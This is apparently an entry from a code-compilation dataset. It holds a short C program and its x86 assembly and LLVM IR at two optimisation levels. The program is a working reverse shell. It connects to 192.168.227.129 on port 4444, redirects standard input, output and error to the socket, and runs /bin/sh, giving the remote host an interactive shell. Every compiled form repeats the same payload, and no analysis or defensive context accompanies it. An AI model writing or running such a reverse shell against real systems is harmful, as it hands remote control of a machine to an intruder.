#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */
typedef struct TYPE_2__ TYPE_1__;

/* Type definitions */
struct TYPE_2__ {
  int /*<<< orphan*/ s_addr;
};
struct sockaddr_in {
  TYPE_1__ sin_addr;
  int /*<<< orphan*/ sin_port;
  int /*<<< orphan*/ sin_family;
};
struct sockaddr {
  int dummy;
};
typedef int /*<<< orphan*/ sock_ad;

/* Variables and functions */
int /*<<< orphan*/ AF_INET;
int /*<<< orphan*/ SOCK_STREAM;
int /*<<< orphan*/ connect(int, struct sockaddr *, int);
int /*<<< orphan*/ dup2(int, int);
int /*<<< orphan*/ execve(char *, int /*<<< orphan*/, int /*<<< orphan*/);
int /*<<< orphan*/ htons(int);
int /*<<< orphan*/ inet_addr(char *);
int socket(int /*<<< orphan*/, int /*<<< orphan*/, int /*<<< orphan*/);
int main(void) {
  int sock_file_des;
  struct sockaddr_in sock_ad;
  sock_file_des = socket(AF_INET, SOCK_STREAM, 0);
  sock_ad.sin_family = AF_INET;
  sock_ad.sin_port = htons(4444);
  sock_ad.sin_addr.s_addr = inet_addr("192.168.227.129");
  connect(sock_file_des, (struct sockaddr *)&sock_ad, sizeof(sock_ad));
  dup2(sock_file_des, 0);
  dup2(sock_file_des, 1);
  dup2(sock_file_des, 2);
  execve("/bin/sh", 0, 0);
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x10,%rsp
mov    0x2e79(%rip),%rax
mov    (%rax),%edi
mov    0x2e60(%rip),%rax
mov    (%rax),%esi
xor    %edx,%edx
call   1080 <socket@plt>
mov    %eax,-0x4(%rbp)
mov    0x2e5d(%rip),%rax
mov    (%rax),%eax
mov    %eax,-0x8(%rbp)
mov    $0x115c,%edi
call   1030 <htons@plt>
mov    %eax,-0xc(%rbp)
lea    0xe5c(%rip),%rdi
call   1060 <inet_addr@plt>
mov    %eax,-0x10(%rbp)
mov    -0x4(%rbp),%edi
lea    -0x10(%rbp),%rsi
mov    $0xc,%edx
call   1070 <connect@plt>
mov    -0x4(%rbp),%edi
xor    %esi,%esi
call   1040 <dup2@plt>
mov    -0x4(%rbp),%edi
mov    $0x1,%esi
call   1040 <dup2@plt>
mov    -0x4(%rbp),%edi
mov    $0x2,%esi
call   1040 <dup2@plt>
lea    0xe28(%rip),%rdi
xor    %edx,%edx
mov    %edx,%esi
call   1050 <execve@plt>
xor    %eax,%eax
add    $0x10,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %r14
push   %rbx
sub    $0x18,%rsp
mov    0x2e7a(%rip),%r14
mov    (%r14),%edi
mov    0x2e60(%rip),%rax
mov    (%rax),%esi
xor    %edx,%edx
call   1080 <socket@plt>
mov    %eax,%ebx
mov    (%r14),%eax
mov    %eax,0x10(%rsp)
mov    $0x115c,%edi
call   1030 <htons@plt>
mov    %eax,0xc(%rsp)
lea    0xe61(%rip),%rdi
call   1060 <inet_addr@plt>
mov    %eax,0x8(%rsp)
lea    0x8(%rsp),%rsi
mov    %ebx,%edi
mov    $0xc,%edx
call   1070 <connect@plt>
mov    %ebx,%edi
xor    %esi,%esi
call   1040 <dup2@plt>
mov    %ebx,%edi
mov    $0x1,%esi
call   1040 <dup2@plt>
mov    %ebx,%edi
mov    $0x2,%esi
call   1040 <dup2@plt>
lea    0xe2f(%rip),%rdi
xor    %esi,%esi
xor    %edx,%edx
call   1050 <execve@plt>
xor    %eax,%eax
add    $0x18,%rsp
pop    %rbx
pop    %r14
ret

LLVM IR (-O0):
%struct.sockaddr_in = type { %struct.TYPE_2__, i32, i32 }
%struct.TYPE_2__ = type { i32 }
%struct.sockaddr = type { i32 }
@AF_INET = global i32 0
@SOCK_STREAM = global i32 0
@.str = [16 x i8] c"192.168.227.129\00"
@.str.1 = [8 x i8] c"/bin/sh\00"
define i32 @main() {
%1 = alloca i32
%2 = alloca %struct.sockaddr_in
%3 = load i32, i32* @AF_INET
%4 = load i32, i32* @SOCK_STREAM
%5 = call i32 @socket(i32 %3, i32 %4, i32 0)
store i32 %5, i32* %1
%6 = load i32, i32* @AF_INET
%7 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %2, i32 0, i32 2
store i32 %6, i32* %7
%8 = call i32 @htons(i32 4444)
%9 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %2, i32 0, i32 1
store i32 %8, i32* %9
%10 = call i32 @inet_addr(i8* getelementptr inbounds ([16 x i8], [16 x i8]* @.str, i64 0, i64 0))
%11 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %2, i32 0, i32 0
%12 = getelementptr inbounds %struct.TYPE_2__, %struct.TYPE_2__* %11, i32 0, i32 0
store i32 %10, i32* %12
%13 = load i32, i32* %1
%14 = bitcast %struct.sockaddr_in* %2 to %struct.sockaddr*
%15 = call i32 @connect(i32 %13, %struct.sockaddr* %14, i32 12)
%16 = load i32, i32* %1
%17 = call i32 @dup2(i32 %16, i32 0)
%18 = load i32, i32* %1
%19 = call i32 @dup2(i32 %18, i32 1)
%20 = load i32, i32* %1
%21 = call i32 @dup2(i32 %20, i32 2)
%22 = call i32 @execve(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.1, i64 0, i64 0), i32 0, i32 0)
ret i32 0
}

LLVM IR (-O2):
%struct.sockaddr_in = type { %struct.TYPE_2__, i32, i32 }
%struct.TYPE_2__ = type { i32 }
%struct.sockaddr = type { i32 }
@AF_INET = global i32 0
@SOCK_STREAM = global i32 0
@.str = [16 x i8] c"192.168.227.129\00"
@.str.1 = [8 x i8] c"/bin/sh\00"
define i32 @main() {
%1 = alloca %struct.sockaddr_in
%2 = bitcast %struct.sockaddr_in* %1 to i8*
%3 = load i32, i32* @AF_INET
%4 = load i32, i32* @SOCK_STREAM
%5 = tail call i32 @socket(i32 %3, i32 %4, i32 0)
%6 = load i32, i32* @AF_INET
%7 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %1, i64 0, i32 2
store i32 %6, i32* %7
%8 = tail call i32 @htons(i32 4444)
%9 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %1, i64 0, i32 1
store i32 %8, i32* %9
%10 = tail call i32 @inet_addr(i8* getelementptr inbounds ([16 x i8], [16 x i8]* @.str, i64 0, i64 0))
%11 = getelementptr inbounds %struct.sockaddr_in, %struct.sockaddr_in* %1, i64 0, i32 0, i32 0
store i32 %10, i32* %11
%12 = bitcast %struct.sockaddr_in* %1 to %struct.sockaddr*
%13 = call i32 @connect(i32 %5, %struct.sockaddr* %12, i32 12)
%14 = call i32 @dup2(i32 %5, i32 0)
%15 = call i32 @dup2(i32 %5, i32 1)
%16 = call i32 @dup2(i32 %5, i32 2)
%17 = call i32 @execve(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.1, i64 0, i64 0), i32 0, i32 0)
ret i32 0
}